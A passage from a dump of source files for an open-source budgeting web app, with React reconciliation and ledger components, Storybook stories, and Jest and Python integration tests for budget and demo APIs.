'@material-ui/icons/NavigateBefore';\nimport { Field } from 'formik';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport * as yup from 'yup';\n\nimport MoneyInputField from 'common/components/MoneyInputField';\nimport SubmitButton from 'common/components/SubmitButton';\nimport useMobile from 'common/hooks/useMobile';\nimport useReconciliationForm from '../hooks/useReconciliationForm';\nimport ReconciliationParameters from './ReconciliationParameters';\nimport UnreconciledTransactions from './UnreconciledTransactions';\n\nconst useStyles = makeStyles((theme) => ({\n stepButton: {\n marginLeft: 'auto',\n },\n submitButton: {\n marginTop: theme.spacing(1),\n marginLeft: 'auto',\n },\n}));\n\nconst ReconciliationForm = ({ accountId }) => {\n const classes = useStyles();\n const mobile = useMobile();\n\n const { setStep, setTransactions, step, transactions } = useReconciliationForm(accountId);\n const handleGoToPrevStep = () => setStep(step - 1);\n const handleGoToNextStep = () => setStep(step + 1);\n\n const isParamStep = step < 2;\n\n return (\n <Grid container spacing={1}>\n {(isParamStep || !mobile) && <ReconciliationParameters disabled={step > 1} />}\n <Grid container item xs={12}>\n <Button\n className={classes.stepButton}\n color='secondary'\n endIcon={isParamStep && <NextIcon />}\n fullWidth={mobile}\n onClick={isParamStep ? handleGoToNextStep : handleGoToPrevStep}\n startIcon={!isParamStep && <PrevIcon />}\n variant='contained'\n >\n {isParamStep ? 'Next' : 'Previous'}\n </Button>\n </Grid>\n {step === 2 && (\n <>\n <Grid item xs={12}>\n <UnreconciledTransactions\n accountId={accountId}\n onSelect={setTransactions}\n selected={transactions}\n />\n </Grid>\n <Grid item sm={6} xs={12}>\n <Field\n component={MoneyInputField}\n disabled\n fullWidth\n id='reconciled-balance'\n label='Reconciled Balance'\n margin='dense'\n name='reconciledBalance'\n variant='outlined'\n />\n </Grid>\n <Grid item sm={6} xs={12}>\n <Field\n component={MoneyInputField}\n disabled\n fullWidth\n id='reconciled-balance-diff'\n label='Remaining To Be Reconciled'\n margin='dense'\n name='reconciledBalanceDiff'\n variant='outlined'\n />\n </Grid>\n <Grid container item xs={12}>\n <SubmitButton className={classes.submitButton} fullWidth={mobile} text='Create' />\n </Grid>\n </>\n )}\n </Grid>\n );\n};\n\nReconciliationForm.propTypes = {\n accountId: PropTypes.number.isRequired,\n};\n\nReconciliationForm.initialValues = {\n beginningBalance: 0,\n beginningDate: new Date(),\n endingBalance: 0,\n endingDate: new Date(),\n reconciledBalance: 0,\n reconciledBalanceDiff: 0,\n transactionIds: [],\n};\n\nReconciliationForm.validationSchema = yup.object().shape({\n beginningBalance: yup.number().typeError('Required'),\n beginningDate: yup.date().typeError('Required').required('Required'),\n endingBalance: yup.number().typeError('Required'),\n endingDate: yup.date().typeError('Required').required('Required'),\n transactionIds: yup.array().of(yup.number()).typeError('Required'),\n});\n\nReconciliationForm.validate = ({ reconciledBalanceDiff }) => {\n if (reconciledBalanceDiff !== 0) {\n return {\n reconciledBalance: 'Reconciled balance does not equal expected ending balance',\n };\n }\n return {};\n};\n\nexport default ReconciliationForm;\n" }, { "alpha_fraction": 0.7605633735656738, "alphanum_fraction": 0.7605633735656738, "avg_line_length": 70, "blob_id": "4436f69b03c915e0eaf8e84bc70696b934de2557", "content_id": "30f7f4fb12f9c455c25c4784ade3575bf8a099d6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 71, "license_type": "permissive", "max_line_length": 70, "num_lines": 1, "path": "/webapp/src/common/hooks/useConfirmation.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { useConfirmation as default } from '../contexts/confirmation';\n" }, { "alpha_fraction": 0.48586785793304443, "alphanum_fraction": 0.5281775593757629, "avg_line_length": 34.164634704589844, "blob_id": "b9ca3761027b179430896137e8c2c473491293cf", "content_id": "2944adb46dd2f90277904b655abdf7f3bc7fdbd1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5767, "license_type": "permissive", "max_line_length": 88, "num_lines": 164, "path": "/backend/underbudget/tests/test_budget_queries.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for budget query APIs \"\"\"\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass BudgetQueriesTestCase(BaseTestCase):\n \"\"\" Integration tests for budget query APIs \"\"\"\n\n @parameterized.expand(\n [\n (\"not-an-id\", 2021, 1),\n (999, 2021, 1),\n (\"auto\", \"not-a-year\", 1),\n (\"auto\", 2022, 1),\n (\"auto\", 2021, \"not-a-period\"),\n (\"auto\", 2021, -1),\n (\"auto\", 2021, 2),\n ]\n )\n def test_active_budgeted_expenses_when_budget_not_found(self, ledger, year, period):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id, periods=2)\n self.create_active_budget(ledger_id, budget_id, year=2021)\n\n if ledger == \"auto\":\n ledger = ledger_id\n\n assert (\n self.client.get(\n f\"/api/ledgers/{ledger}/budgeted-expenses/{year}/{period}\"\n ).status_code\n == 404\n )\n\n def test_active_budget_expenses_include_all_expenses_for_period(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id, periods=4)\n self.create_active_budget(ledger_id, budget_id, year=2021)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_1_id = self.create_envelope(env_cat_id)\n env_2_id = self.create_envelope(env_cat_id)\n env_3_id = self.create_envelope(env_cat_id)\n self.create_periodic_expense(budget_id, env_1_id, amount=75)\n self.create_periodic_expense(budget_id, env_2_id, amount=50)\n self.create_periodic_expense(budget_id, env_3_id, amount=120)\n self.create_annual_expense(budget_id, env_2_id, amount=240)\n self.create_annual_expense(budget_id, env_1_id, details=[17, 21, 0, 13])\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/budgeted-expenses/2021/0\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 92,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/budgeted-expenses/2021/1\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 96,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/budgeted-expenses/2021/2\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 75,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/budgeted-expenses/2021/3\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 88,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n\n @parameterized.expand(\n [\n (\"not-an-id\", 1),\n (999, 1),\n (\"auto\", \"not-a-period\"),\n (\"auto\", -1),\n (\"auto\", 2),\n ]\n )\n def test_budgeted_expenses_when_budget_not_found(self, budget, period):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id, periods=2)\n\n if budget == \"auto\":\n budget = budget_id\n\n assert (\n self.client.get(\n f\"/api/budgets/{budget}/budgeted-expenses/{period}\"\n ).status_code\n == 404\n )\n\n def test_budget_expenses_include_all_expenses_for_period(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id, periods=4)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_1_id = self.create_envelope(env_cat_id)\n env_2_id = self.create_envelope(env_cat_id)\n env_3_id = self.create_envelope(env_cat_id)\n self.create_periodic_expense(budget_id, env_1_id, amount=75)\n self.create_periodic_expense(budget_id, env_2_id, amount=50)\n self.create_periodic_expense(budget_id, env_3_id, amount=120)\n self.create_annual_expense(budget_id, env_2_id, amount=240)\n self.create_annual_expense(budget_id, env_1_id, details=[17, 21, 0, 13])\n\n resp = self.client.get(f\"/api/budgets/{budget_id}/budgeted-expenses/0\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 92,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n\n resp = self.client.get(f\"/api/budgets/{budget_id}/budgeted-expenses/1\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 96,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n\n resp = self.client.get(f\"/api/budgets/{budget_id}/budgeted-expenses/2\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 75,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n\n resp = self.client.get(f\"/api/budgets/{budget_id}/budgeted-expenses/3\")\n assert resp.status_code == 200\n assert resp.json == {\n \"expensesByEnvelopeId\": {\n str(env_1_id): 88,\n str(env_2_id): 110,\n str(env_3_id): 120,\n }\n }\n" }, { "alpha_fraction": 0.5548462271690369, "alphanum_fraction": 0.5757399797439575, "avg_line_length": 22.93055534362793, "blob_id": "e2c57b7a7ea616a83d2161291c156018953971b3", "content_id": "26111e2aa37ffe6b252cc9bc504e562afd3a0848", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1723, "license_type": "permissive", "max_line_length": 80, "num_lines": 72, "path": "/webapp/src/features/ledgers/routes/__stories__/LedgersPage.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport moment from 'moment';\nimport React from 'react';\n\nimport AppProviders from 'common/components/AppProviders';\nimport LedgersPage from '../LedgersPage';\n\nexport default {\n title: 'ledgers/LedgersPage',\n component: LedgersPage,\n decorators: [\n (story) => story({ mock: new MockAdapter(axios, { delayResponse: 1000 }) }),\n (story) => <AppProviders>{story()}</AppProviders>,\n ],\n};\n\nconst currencies = [840, 978, 980];\n\nconst createLedgers = (from, to) => {\n const ledgers = [];\n let i = from;\n while (i < to) {\n ledgers.push({\n id: `ledger-id-${i}`,\n name: `Ledger ${i}`,\n currency: currencies[i % currencies.length],\n lastUpdated: moment()\n .subtract(i * 2 + 4, 'day')\n .toISOString(),\n });\n i += 1;\n }\n return ledgers;\n};\n\nexport const NoLedgers = (_, { mock }) => {\n mock.onGet(/\\/api\\/ledgers/).reply(200, {\n ledgers: [],\n total: 0,\n });\n return <LedgersPage />;\n};\n\nexport const FewLedgers = (_, { mock }) => {\n mock.onGet(/\\/api\\/ledgers.*/).reply(200, {\n ledgers: createLedgers(0, 5),\n total: 5,\n });\n return <LedgersPage />;\n};\n\nexport const ManyLedgers = (_, { mock }) => {\n mock.onGet(/\\/api\\/ledgers.*/).reply((config) => {\n const params = config.url.match(/.*page=(\\d+)&size=(\\d+)/);\n const page = Number(params[1]);\n const size = Number(params[2]);\n return [\n 200,\n {\n ledgers: createLedgers((page - 1) * size, Math.min(page * size, 42)),\n total: 42,\n },\n ];\n });\n return <LedgersPage />;\n};\n\nexport const FetchError = (_, { mock }) => {\n mock.onGet(/\\/api\\/ledgers.*/).timeout();\n return <LedgersPage />;\n};\n" }, { "alpha_fraction": 0.7427465915679932, "alphanum_fraction": 0.7485493421554565, "avg_line_length": 24.850000381469727, "blob_id": "b2dae044e769e394f2e434166c95421c1a783d59", "content_id": "eb7272d7b899e1265d1189362f5a819b1d68831a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "permissive", "max_line_length": 65, "num_lines": 20, "path": "/backend/underbudget/common/parser.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Customized webargs parser \"\"\"\nfrom flask import Request\nfrom marshmallow import Schema, ValidationError\nfrom webargs.flaskparser import FlaskParser\nfrom werkzeug.exceptions import BadRequest\n\n\nclass Parser(FlaskParser):\n DEFAULT_VALIDATION_STATUS = 400\n\n\nparser = Parser()\n\n\[email protected]_handler\ndef handle_error(error: ValidationError, *args, **kwargs):\n msg = error.messages\n if type(error.messages) is dict and \"json\" in error.messages:\n msg = error.messages[\"json\"]\n raise BadRequest(msg)\n" }, { "alpha_fraction": 0.5719360709190369, "alphanum_fraction": 0.5790408253669739, "avg_line_length": 28.63157844543457, "blob_id": "6f3ee514fb6e9e5500def69ff7487ffb5db514c4", "content_id": "01ba46b93d4c8c3c309eb15abfc2acec8d9b1726", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 563, "license_type": "permissive", "max_line_length": 74, "num_lines": 19, "path": "/webapp/src/features/accounts/hooks/useFlattenedAccounts.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport useAccounts from './useAccounts';\n\nexport default function useFlattenedAccounts() {\n const { categories } = useAccounts({ sorted: true });\n return React.useMemo(() => {\n const accounts = [];\n for (let i = 0; i < categories.length; i += 1) {\n for (let j = 0; j < categories[i].accounts.length; j += 1) {\n accounts.push({\n id: categories[i].accounts[j].id,\n name: `${categories[i].name}:${categories[i].accounts[j].name}`,\n });\n }\n }\n return accounts;\n }, [categories]);\n}\n" }, { "alpha_fraction": 0.7702702879905701, "alphanum_fraction": 0.7702702879905701, "avg_line_length": 73, "blob_id": "b9d6117ce6f119908c6e1ffa304bd280d2b4facf", "content_id": "a10395623f8869458d34f184f6a4ddb0b61dcbd2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 74, "license_type": "permissive", "max_line_length": 73, "num_lines": 1, "path": "/webapp/src/common/utils/getSelectedLedger.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export default () => localStorage.getItem('underbudget.selected.ledger');\n" }, { "alpha_fraction": 0.6552984118461609, "alphanum_fraction": 0.6638246178627014, "avg_line_length": 33.20833206176758, "blob_id": "2499f82cd54850d966bdab470f91fc92cdf3f0c1", "content_id": "c6844aea80b8124b2824680210287d4b1a53d0b3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 821, "license_type": "permissive", "max_line_length": 91, "num_lines": 24, "path": "/webapp/src/features/transactions/components/TransactionForm/useAccountAmountSideEffect.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { useFormikContext } from 'formik';\nimport React from 'react';\n\nconst otherAccount = [1, 0];\n\nexport default function useAccountAmountSideEffect(index) {\n const {\n setFieldValue,\n values: { accountTransactions, envelopeTransactions },\n } = useFormikContext();\n\n return React.useCallback(\n ({ target: { value } }) => {\n if (Number.isInteger(value)) {\n if (accountTransactions.length === 1 && envelopeTransactions.length === 1) {\n setFieldValue('envelopeTransactions[0].amount', value);\n } else if (accountTransactions.length === 2 && envelopeTransactions.length === 0) {\n setFieldValue(`accountTransactions[${otherAccount[index]}].amount`, -value);\n }\n }\n },\n [accountTransactions.length, envelopeTransactions.length, index, setFieldValue],\n );\n}\n" }, { "alpha_fraction": 0.6562196016311646, "alphanum_fraction": 0.6669096350669861, "avg_line_length": 37.467288970947266, "blob_id": "b9dfc411054f914ceb31ab7f754dd95d5110616b", "content_id": "edfb0387a982a41c983003174ff385ed1f225904", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4116, "license_type": "permissive", "max_line_length": 100, "num_lines": 107, "path": "/webapp/src/features/budgets/components/__tests__/AllBudgetsList.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport AllBudgetsList from '../AllBudgetsList';\n\nconst render = (budgets, code = 200) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi();\n mockApi.onGet('/api/ledgers/2/budgets').reply(code, { budgets });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n retryDelay: 200,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/budgets/*' element={<AllBudgetsList />} />\n </Routes>\n </QueryClientProvider>,\n { route: '/budgets' },\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should show error message when unable to fetch budgets', async () => {\n render({}, 404);\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n await waitFor(() => expect(screen.getByRole('alert')).toBeInTheDocument());\n});\n\ntest('should show all created budgets', async () => {\n const budgets = [\n { id: 7, name: 'This Year', periods: 12, buttonText: 'This Year Monthly (12)' },\n { id: 6, name: 'Last Year', periods: 12, buttonText: 'Last Year Monthly (12)' },\n { id: 5, name: 'Old Budget', periods: 52, buttonText: 'Old Budget Weekly (52)' },\n ];\n render(budgets);\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n budgets.forEach((budget) => {\n expect(screen.getByRole('button', { name: budget.buttonText })).toBeInTheDocument();\n });\n});\n\ntest('should navigate to budget route when card is clicked', async () => {\n const { history } = render([{ id: 2, name: 'Budget', periods: 12 }]);\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n userEvent.click(screen.getByRole('button', { name: 'Budget Monthly (12)' }));\n expect(history.location.pathname).toBe('/budget/2');\n});\n\ntest('should prompt to copy budget', async () => {\n const { mockApi, queryClient } = render([{ id: 7, name: 'Budget', periods: 12 }]);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n mockApi.onPost('/api/ledgers/2/budgets/copy').reply(204);\n\n await waitFor(() => expect(screen.getByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n // Reject copy\n userEvent.click(screen.getByRole('button', { name: /copy budget/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n expect(mockApi.history.post).toHaveLength(0);\n\n // Confirm copy\n userEvent.click(screen.getByRole('button', { name: /copy budget/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /ok/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(mockApi.history.post).toHaveLength(1));\n expect(JSON.parse(mockApi.history.post[0].data)).toEqual({ origId: 7 });\n await waitFor(() => expect(invalidateQueries).toHaveBeenCalledWith(['budgets', { ledger: '2' }]));\n});\n" }, { "alpha_fraction": 0.68072509765625, "alphanum_fraction": 0.683314859867096, "avg_line_length": 34.10389709472656, "blob_id": "2167ff2bc55493680d1dcaf8887a9f08c8bb7929", "content_id": "f84c8de7e106072c9fdc9a6c335764d91ea51ae6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2703, "license_type": "permissive", "max_line_length": 98, "num_lines": 77, "path": "/webapp/src/features/accounts/components/__tests__/CreateAccountCategoryDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport CreateAccountCategoryDialog from '../CreateAccountCategoryDialog';\n\nconst render = () => {\n localStorage.setItem('underbudget.selected.ledger', 'ledger-id');\n\n const queryClient = new QueryClient();\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <CreateAccountCategoryDialog />\n </QueryClientProvider>,\n ),\n queryClient,\n };\n};\n\ndescribe('CreateAccountCategoryDialog', () => {\n it('should prevent submission when required fields are missing', async () => {\n render();\n expect(screen.getByRole('heading', { name: /create category/i })).toBeInTheDocument();\n\n const createButton = screen.getByRole('button', { name: /create/i });\n\n userEvent.click(createButton);\n await waitFor(() => expect(screen.getByText(/required/i)).toBeInTheDocument());\n\n expect(createButton).toBeDisabled();\n });\n\n it('should show error message when request error', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onPost('/api/ledgers/ledger-id/account-categories').reply(400);\n\n render();\n expect(screen.getByRole('heading', { name: /create category/i })).toBeInTheDocument();\n\n userEvent.type(screen.getByLabelText(/name/i), 'my category name');\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n\n await waitFor(() =>\n expect(screen.getByText(/unable to create account category/i)).toBeInTheDocument(),\n );\n });\n\n it('should close and refresh query when successful create', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onPost('/api/ledgers/ledger-id/account-categories').reply(201);\n\n const { queryClient } = render();\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n expect(screen.getByRole('heading', { name: /create category/i })).toBeInTheDocument();\n userEvent.type(screen.getByLabelText(/name/i), 'my category name');\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create category/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockAxios.history.post[0].data)).toEqual({\n name: 'my category name',\n });\n expect(invalidateQueries).toHaveBeenCalledWith([\n 'account-categories',\n {\n ledger: 'ledger-id',\n },\n ]);\n });\n});\n" }, { "alpha_fraction": 0.4472222328186035, "alphanum_fraction": 0.4680555462837219, "avg_line_length": 24.714284896850586, "blob_id": "c5a98e2129eca2d000761bd9695415db9e2ec4bd", "content_id": "fde5e28dc2342fcbcb2d5070cc3b0439eebe00ca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 720, "license_type": "permissive", "max_line_length": 47, "num_lines": 28, "path": "/backend/underbudget/tests/test_demo.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for demo API \"\"\"\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass DemoTestCase(BaseTestCase):\n \"\"\" Integration tests for demo API \"\"\"\n\n def test_create_simple_demo(self):\n resp = self.client.post(\n \"/api/demos\",\n json={\n \"name\": \"Demo\",\n \"currency\": 840,\n \"months\": 3,\n },\n )\n assert resp.status_code == 201\n\n def test_create_complex_demo(self):\n resp = self.client.post(\n \"/api/demos\",\n json={\n \"name\": \"Demo\",\n \"currency\": 840,\n \"months\": 18,\n },\n )\n assert resp.status_code == 201\n" }, { "alpha_fraction": 0.706714928150177, "alphanum_fraction": 0.7152732014656067, "avg_line_length": 38.45454406738281, "blob_id": "5cd1a42d42329c97b305515b4492f699bc98d9b1", "content_id": "d0a959916b6dd11bb85dd136cb74887ba730021b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3038, "license_type": "permissive", "max_line_length": 94, "num_lines": 77, "path": "/webapp/src/features/ledgers/components/__tests__/CreateDemoLedgerDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport CreateDemoLedgerDialog from '../CreateDemoLedgerDialog';\n\nconst render = () => {\n const queryClient = new QueryClient();\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <CreateDemoLedgerDialog />\n </QueryClientProvider>,\n ),\n queryClient,\n };\n};\n\ntest('error message is shown when request results in an error', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onPost('/api/demos').reply(400);\n\n render();\n\n userEvent.type(screen.getByLabelText(/name/i), 'my demo name');\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n\n await waitFor(() => expect(screen.getByText(/unable to create demo/i)).toBeInTheDocument());\n});\n\ntest('dialog is closed and query is refreshed when request is successful', async () => {\n const mockAxios = new MockAdapter(axios, { delayResponse: 100 });\n mockAxios.onPost('/api/demos').reply(201);\n\n const { queryClient } = render();\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n expect(screen.getByRole('heading', { name: /create demo/i })).toBeInTheDocument();\n\n const createButton = screen.getByRole('button', { name: /create/i });\n\n // Should prevent submission when required fields are missing\n userEvent.click(createButton);\n await waitFor(() => expect(screen.getByText(/required/i)).toBeInTheDocument());\n expect(createButton).toBeDisabled();\n\n userEvent.type(screen.getByLabelText(/name/i), 'my demo name');\n await waitFor(() => expect(screen.queryByText(/required/i)).not.toBeInTheDocument());\n\n userEvent.type(screen.getByLabelText(/currency/i), '{selectall}UAH');\n userEvent.type(screen.getByLabelText(/number of months/i), '{selectall}1a0');\n userEvent.type(screen.getByLabelText(/randomization seed/i), '{selectall}77b77');\n await waitFor(() => expect(createButton).toBeEnabled());\n userEvent.click(createButton);\n\n // Should show progress indicator while request is submitting\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n // Should include all form fields in the request\n await waitFor(() => expect(mockAxios.history.post).toHaveLength(1));\n expect(JSON.parse(mockAxios.history.post[0].data)).toEqual({\n name: 'my demo name',\n currency: 980,\n months: 10,\n seed: 7777,\n });\n // Should refresh ledger query after submission\n await waitFor(() => expect(invalidateQueries).toHaveBeenCalledWith('ledgers'));\n // Should close the dialog after submission\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create demo/i })).not.toBeInTheDocument(),\n );\n});\n" }, { "alpha_fraction": 0.5474005937576294, "alphanum_fraction": 0.5474005937576294, "avg_line_length": 26.25, "blob_id": "9533d94c08f0605ddeca60d83b58820d549319e0", "content_id": "f361280601cddb8b90aa75f59988bbe0cd53faec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 327, "license_type": "permissive", "max_line_length": 69, "num_lines": 12, "path": "/webapp/src/features/reconciliations/hooks/useFetchReconciliation.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport { useQuery } from 'react-query';\n\nexport default ({ id, enabled = true, ...opts } = {}) =>\n useQuery(\n ['reconciliation', id],\n async () => {\n const { data } = await axios.get(`/api/reconciliations/${id}`);\n return data;\n },\n { enabled: enabled && !!id, ...opts },\n );\n" }, { "alpha_fraction": 0.637484610080719, "alphanum_fraction": 0.6387176513671875, "avg_line_length": 26.03333282470703, "blob_id": "f2179c80bd53b6a37d8772050cd69df4724bb1fb", "content_id": "cf5054774f9112df9ae8894eb358e7bb78d8e709", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 811, "license_type": "permissive", "max_line_length": 86, "num_lines": 30, "path": "/webapp/src/features/budgets/components/PeriodSelect.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "/* eslint-disable react/jsx-props-no-spreading */\n\nimport MenuItem from '@material-ui/core/MenuItem';\nimport Select from '@material-ui/core/Select';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport getPeriodName from '../utils/getPeriodName';\nimport { values } from '../utils/periods';\n\nconst PeriodSelect = ({ periods, ...props }) => {\n const periodItems = React.useMemo(() =>\n [...Array(periods)].map((_, period) => getPeriodName(period, periods), [periods]),\n );\n return (\n <Select disabled={periods === 1} {...props}>\n {periodItems.map((label, i) => (\n <MenuItem key={label} value={i}>\n {label}\n </MenuItem>\n ))}\n </Select>\n );\n};\n\nPeriodSelect.propTypes = {\n periods: PropTypes.oneOf(values).isRequired,\n};\n\nexport default PeriodSelect;\n" }, { "alpha_fraction": 0.6429933309555054, "alphanum_fraction": 0.6749284863471985, "avg_line_length": 28.97142791748047, "blob_id": "3e3e1a447f16d0c108a9fc51f3ace3cc56d77f84", "content_id": "e48bcbb63f1453c08ccffd7d735deb70899571ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2098, "license_type": "permissive", "max_line_length": 78, "num_lines": 70, "path": "/webapp/src/common/components/MoneyInputField/MoneyInputField.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { action } from '@storybook/addon-actions';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport { Field, Form, Formik } from 'formik';\nimport React from 'react';\n\nimport setSelectedLedger from '../../utils/setSelectedLedger';\nimport MoneyInputField from './MoneyInputField';\n\nexport default {\n title: 'common/MoneyInputField',\n component: MoneyInputField,\n decorators: [\n (story, { parameters } = {}) => {\n const { currency = 840, delayResponse = 1000 } = parameters;\n\n setSelectedLedger('2');\n\n const mockAxios = new MockAdapter(axios, { delayResponse });\n mockAxios.onGet('/api/ledgers/2').reply(200, { currency });\n\n return story();\n },\n ],\n};\n\nconst Template = ({ initialValue = 0, ...args }) => (\n <Formik onSubmit={action('submit')} initialValues={{ money: initialValue }}>\n 